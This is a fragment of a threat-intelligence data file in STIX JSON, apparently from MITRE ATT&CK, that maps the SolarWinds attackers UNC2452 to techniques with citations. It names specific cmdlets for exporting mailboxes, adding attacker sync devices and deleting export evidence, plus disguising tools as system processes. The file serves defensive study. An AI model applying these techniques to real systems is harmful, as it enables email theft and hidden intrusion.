            "created": "2021-01-05T17:45:48.860Z"
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        {
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            ],
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            "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) collected emails from specific individuals, such as executives and IT staff, using <code>New-MailboxExportRequest</code> followed by <code>Get-MailboxExportRequest</code>.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--c6ca900d-70ac-4749-bf88-61afac9c82c7",
            "type": "relationship",
            "modified": "2021-01-05T17:45:48.881Z",
            "created": "2021-01-05T17:45:48.881Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                },
                {
                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used <code>scheduler</code> and <code>schtasks</code> to create new tasks on remote hosts as part of lateral movement.(Citation: Volexity SolarWinds) They also manipulated scheduled tasks by updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.(Citation: FireEye SUNBURST Backdoor December 2020) [UNC2452](https://attack.mitre.org/groups/G0118) also created a scheduled task to maintain [SUNSPOT](https://attack.mitre.org/software/S0562) persistence when the host booted.(Citation: CrowdStrike SUNSPOT Implant January 2021) ",
            "relationship_type": "uses",
            "id": "relationship--aae00959-7f9f-464d-9346-b53e6d46d3ee",
            "type": "relationship",
            "modified": "2021-01-13T16:30:52.561Z",
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        },
        {
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            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) removed evidence of email export requests using <code>Remove-MailboxExportRequest</code>.(Citation: Volexity SolarWinds) They temporarily replaced legitimate utilities with their own, executed their payload, and then restored the original file.(Citation: FireEye SUNBURST Backdoor December 2020)",
            "relationship_type": "uses",
            "id": "relationship--b8bba514-9788-4f60-b4d1-54b8b22a67f5",
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            "modified": "2021-01-25T17:29:14.989Z",
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        },
        {
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            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "Microsoft Analyzing Solorigate Dec 2020",
                    "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/",
                    "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used <code>cmd.exe</code> to execute commands on remote machines.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020)",
            "relationship_type": "uses",
            "id": "relationship--b71bdebb-35dc-4deb-8ddd-fb6b42994224",
            "type": "relationship",
            "modified": "2021-01-05T17:45:48.885Z",
            "created": "2021-01-05T17:45:48.885Z"
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        {
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            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) routinely removed their tools, including custom backdoors, once remote access was achieved.(Citation: FireEye SUNBURST Backdoor December 2020)",
            "relationship_type": "uses",
            "id": "relationship--b39fa2e6-1367-4ead-84d3-24aa7421df74",
            "type": "relationship",
            "modified": "2021-01-12T17:16:31.927Z",
            "created": "2021-01-05T17:45:48.889Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "Microsoft Analyzing Solorigate Dec 2020",
                    "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/",
                    "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) renamed a version of [AdFind](https://attack.mitre.org/software/S0552) to <code>sqlceip.exe</code> or <code>csrss.exe</code> in an attempt to appear as the SQL Server Telemetry Client or Client Service Runtime Process, respectively.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020)",
            "relationship_type": "uses",
            "id": "relationship--b04a3b6e-7423-47d1-8be9-f8cbb0a4b283",
            "type": "relationship",
            "modified": "2021-01-25T17:29:15.013Z",
            "created": "2021-01-05T17:45:48.894Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) obtained information about the configured Exchange virtual directory using <code>Get-WebServicesVirtualDirectory</code>.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--3d1ba730-3f10-499c-ada3-47d975d5b7e0",
            "type": "relationship",
            "modified": "2021-01-11T21:27:16.461Z",
            "created": "2021-01-05T17:45:48.946Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used dynamic DNS resolution to construct and resolve to randomly-generated subdomains for C2.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--9f14d7a3-b9d7-49f2-994e-cb13b68f7a90",
            "type": "relationship",
            "modified": "2021-01-22T22:25:04.780Z",
            "created": "2021-01-05T19:43:55.460Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) added their own devices as allowed IDs for active sync using <code>Set-CASMailbox</code>, allowing it to obtain copies of victim mailboxes. It also added additional permissions (such as Mail.Read and Mail.ReadWrite) to compromised Application or Service Principals.(Citation: Volexity SolarWinds)(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)",
            "relationship_type": "uses",
            "id": "relationship--3aa84fa9-a330-40e2-aa5b-95a545e3a230",
            "type": "relationship",
            "modified": "2021-01-05T22:07:14.021Z",
            "created": "2021-01-05T19:43:55.461Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) downloaded additional tools, such as [TEARDROP](https://attack.mitre.org/software/S0560) malware and [Cobalt Strike](https://attack.mitre.org/software/S0154), to the compromised host following initial compromise.(Citation: FireEye SUNBURST Backdoor December 2020)",
            "relationship_type": "uses",
            "id": "relationship--1101a059-6afe-4c41-aa9d-cd607f33ec68",
            "type": "relationship",
            "modified": "2021-01-12T17:16:31.943Z",
            "created": "2021-01-05T19:43:55.453Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) staged data and files in password-protected archives on a victim's OWA server.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--67a319cb-acfb-4546-a9ca-67e9d5905506",
            "type": "relationship",
            "modified": "2021-01-11T21:27:16.484Z",
            "created": "2021-01-05T19:43:55.480Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) bypassed MFA set on OWA accounts by generating a cookie value from a previously stolen secret key.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--8d397306-e9f8-4946-a1da-8ebfcc4d88a6",
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                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                },
                {
                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) developed [SUNSPOT](https://attack.mitre.org/software/S0562), [SUNBURST](https://attack.mitre.org/software/S0559), [TEARDROP](https://attack.mitre.org/software/S0560), and [Raindrop](https://attack.mitre.org/software/S0565); [SUNSPOT](https://attack.mitre.org/software/S0562) and [SUNBURST](https://attack.mitre.org/software/S0559) were tailored to be incorporated into SolarWind's Orion software library.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)",
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                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) was able to get [SUNBURST](https://attack.mitre.org/software/S0559) signed by SolarWinds code signing certificates by injecting the malware into the SolarWinds Orion software lifecycle.(Citation: FireEye SUNBURST Backdoor December 2020)",
            "relationship_type": "uses",
            "id": "relationship--55131210-5f87-4661-828f-e57a485e9759",
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                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) extracted files from compromised networks.(Citation: Volexity SolarWinds) ",
            "relationship_type": "uses",
            "id": "relationship--abd5d73c-9eec-494c-afae-d9d2f2456b7b",
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                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used HTTP for C2 and data exfiltration.(Citation: Volexity SolarWinds)",
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            "id": "relationship--91289d94-6a53-4976-8f88-92c1c5962f00",
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            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d",
            "relationship_type": "mitigates",
            "description": "Use least privilege and protect administrative access to the Domain Controller and Active Directory Federation Services (AD FS) server. Do not create service accounts with administrative privileges.",
            "id": "relationship--48357d6a-6d00-42a6-b687-cbd5a9a8ecd6",
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                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                },
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used different compromised credentials for remote access and to move laterally.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)",
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            "external_references": [
                {
                    "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used encoded PowerShell commands.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)",
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            "external_references": [
                {
                    "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used Rundll32 to execute payloads.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)(Citation: Microsoft Deep Dive Solorigate January 2021)",
            "relationship_type": "uses",
            "id": "relationship--8e57d752-b45c-44aa-b74f-4e5abdd2300e",
            "type": "relationship",
            "modified": "2021-01-22T18:24:05.465Z",
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            "external_references": [
                {
                    "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) added credentials to OAuth Applications and Service Principals.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) ",
            "relationship_type": "uses",
            "id": "relationship--c8513484-2fa3-46f1-8c42-343992b4c9ad",
            "type": "relationship",
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        },
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            ],
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            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used the <code>Get-ManagementRoleAssignment</code> PowerShell cmdlet to enumerate Exchange management role assignments through an Exchange Management Shell.(Citation: Volexity SolarWinds)",
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                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used the <code>Get-AcceptedDomain</code> PowerShell cmdlet to enumerate accepted domains through an Exchange Management Shell.(Citation: Volexity SolarWinds) They also used [AdFind](https://attack.mitre.org/software/S0552) to enumerate domains and to discover trust between federated domains.(Citation: Microsoft Deep Dive Solorigate January 2021)",
            "relationship_type": "uses",
            "id": "relationship--80b64fd2-88c5-4ba6-bf95-7229236b57ee",
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            "external_references": [
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                    "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) created tokens using compromised SAML signing certificates.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)",
            "relationship_type": "uses",
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                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used multiple command-line utilities to enumerate running processes.(Citation: Volexity SolarWinds)(Citation: Microsoft Deep Dive Solorigate January 2021)",
            "relationship_type": "uses",
            "id": "relationship--f6ef4a63-bd86-4991-a1ca-1435bef349c0",
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            ],
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            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
            "external_references": [
                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) set the hostnames of its C2 infrastructure to match legitimate hostnames in the victim environment. They also primarily used IP addresses originating from the same country as the victim for their VPN infrastructure.(Citation: FireEye SUNBURST Backdoor December 2020)",
            "relationship_type": "uses",
            "id": "relationship--ac43d196-8152-42a9-95ec-cb3c9a9080b2",
            "type": "relationship",
            "modified": "2021-01-12T17:16:31.987Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "target_ref": "attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) exfiltrated collected data over a simple HTTPS request to a password-protected archive staged on a victim's OWA servers.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--e58fe67f-39c1-4e10-b825-1655803dd3d5",
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                }
            ],
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                },
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                    "description": "Stephen Eckels, Jay Smith, William Ballenthin. (2020, December 24). SUNBURST Additional Technical Details. Retrieved January 6, 2021."
                }
            ],
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                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                },
                {
                    "source_name": "Microsoft Analyzing Solorigate Dec 2020",
                    "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/",
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                },
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                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
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                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
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                },
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                    "source_name": "FireEye SUNBURST Additional Details Dec 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html",
                    "description": "Stephen Eckels, Jay Smith, William Ballenthin. (2020, December 24). SUNBURST Additional Technical Details. Retrieved January 6, 2021."
                },
                {
                    "source_name": "Symantec Sunburst Sending Data January 2021",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-sunburst-sending-data",
                    "description": "Symantec Threat Hunter Team. (2021, January 22). SolarWinds: How Sunburst Sends Data Back to the Attackers. Retrieved January 22, 2021."
                }
            ],
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                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                }
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                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                },
                {
                    "source_name": "Microsoft Analyzing Solorigate Dec 2020",
                    "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/",
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                }
            ],
            "description": "[SUNBURST](https://attack.mitre.org/software/S0559) collected hostname, OS version, and device uptime.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)",
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                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                }
            ],
            "description": "[SUNBURST](https://attack.mitre.org/software/S0559) used the WMI query <code>Select * From Win32_SystemDriver</code> to retrieve a driver listing.(Citation: FireEye SUNBURST Backdoor December 2020)",
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                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
